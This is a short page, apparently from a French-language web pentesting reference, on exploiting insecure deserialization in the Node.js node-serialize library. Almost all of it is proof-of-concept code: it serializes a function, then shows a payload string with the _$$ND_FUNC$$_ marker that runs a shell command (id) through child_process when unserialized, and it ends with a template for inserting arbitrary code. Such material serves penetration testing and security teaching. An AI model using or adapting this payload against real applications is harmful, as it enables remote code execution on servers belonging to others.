Node.js Deserialization (base64) - Pentesting Web
Mis à jour
var y = {
rce : function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Sérialisé : \n" + serialize.serialize(y));var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);{"rce":"_$$ND_FUNC$$_function(){input}()"}